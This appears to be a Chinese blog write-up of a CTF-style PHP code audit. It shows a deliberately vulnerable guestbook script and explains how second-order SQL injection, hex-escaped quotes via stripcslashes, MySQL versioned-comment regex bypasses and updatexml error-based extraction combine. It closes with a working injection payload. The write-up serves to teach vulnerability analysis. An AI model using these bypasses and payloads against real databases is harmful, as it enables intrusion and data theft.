mysql报错注入_从二次注入,到报错注入注入,再到正则表达式绕过

0x01前言

回顾了下以前的代码审计

三个白帽,很经典

现在估计都没有了吧。

0x02 分析

<?php include 'db.inc.php';foreach(array('_GET','_POST','_COOKIE') as $key){foreach($$key as $k => $v){if(is_array($v)){
            errorBox("hello,sangebaimao!");
        }else{
            $k[0] !='_'?$$k = addslashes($v):$$k = "";
        }
    }
}function filter($str){
    $rstr = "";for($i=0;$i        if(ord($str[$i])>31 && ord($str[$i])<127){
            $rstr = $rstr.$str[$i];
        }
    }
    $rstr = str_replace('\'','',$rstr);return $rstr;
}if(!empty($message)){if(preg_match("/\b(select|insert|update|delete)\b/i",$message)){die("hello,sangebaimao!");
    }if(filter($message) !== $message){die("hello,sangebaimao!");
    }
    $sql="insert guestbook(`message`) value('$message');";
    mysql_query($sql);
    $sql = "select * from guestbook order by id limit 0,5;";
    $result = mysql_query($sql);if($result){while($row = mysql_fetch_array($result)){
            $id = $row['id'];
            $message = $row['message'];echo "|$id|=>|$message|
";
        }
    }
    $message = stripcslashes($message);
    $sql = "delete from guestbook where id=$id or message ='$message';";if(!mysql_query($sql)){print(mysql_error());
        $sql = "delete from guestbook where id=$id";
        mysql_query($sql);
    };
}?>

源码如题, 在我本地间的构造了一个数据库,然后就运行了。

  • 不难看出,有两个过滤的地方,一个是filter函数,另外一个是正则绕过。这是对输入的绕过。

  • 代码的逻辑也很简单,插入,显示,取出,删除。

  • 我们插入的数据,进入第二次的查询,这就存在二次注入了。二次注入的逻辑也很简单,只要插入的数据经过过滤之后可以正常查询就好了。

  • 然后就是回显的问题了,有一个print(mysql_error());那么就可以直接使用报错注入了

以上是对程序的简单分析。

0x03 绕过

  1. 关于单引号的绕过,这个地方比较特别,程序中有一个 message=stripcslashes(message);关于这个函数的作用可以简要要说明一下:

    反引用一个使用 [addcslashes()](https://www.php.net/manual/zh/function.addcslashes.php) 转义的字符串

    返回反转义后的字符串。可识别类似 C 语言的 *\n*,*\r*,... 八进制以及十六进制的描述。

    stripcslashes('H\xaello') == 'H'.chr(0xAE).'llo'

    既然可以转义,直接让他来转义\x27  就可以使用单引号了。

  2. 关于正则的绕过

    可以看出正则表达式中有\b

    先来看看\b的作用,\b的作用是匹配单词的边界。所谓的单词的边界就是特殊符号的边界。

    绕过的思路就来了,假设我们想使用select 在select前后加点单词就可以了。

    这里提一个mysql的tips

    /*!*/ 只在mysql中有用,在别的数据库中这只是注释,但是在mysql,/*!select 1*/可以成功执行,在语句前可以加上5位数字,代表版本号,表示只有在大于该版本的mysql中不作为注释.

    mysql> select version();
    +-----------+
    | version() |
    +-----------+
    | 5.7.9-log |
    +-----------+
    1 row in set (0.00 sec)

    mysql> select /*!50709version()*/;
    +-----------+
    | version() |
    +-----------+
    | 5.7.9-log |
    +-----------+
    1 row in set (0.00 sec)
  3. 关于报错注入

UpdateXML(xml_target, xpath_expr, new_xml)
updatexml函数有三个参数,作用是xml替换,把xml_target中被xpath_expr匹配到的部分使用new_xml替换

这个报错注入的原理是利用updatexml的参数错误,首先不能有语法错误,要不然注入的语句根本无法执行,语法正确后,先去执行concat(0x27,(/*!00000select version()*/)),得到'5.5.42-log,作为第二个参数传入updatexml函数中,而updatexml第二个参数为xml的匹配表达式,单引号为非法字符,因此报错,输出错误内容'5.5.42-log, 因此得到了你想要得到的数据

payload

?message=aaa\x27 and updatexml(0,concat(0x27,(/*!00000select version()*/)),0)%23

1fb46aed15e4e1e13ad6bb1077222ac4.png

6c049c25ca1feaa418c6c77bb9dec266.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值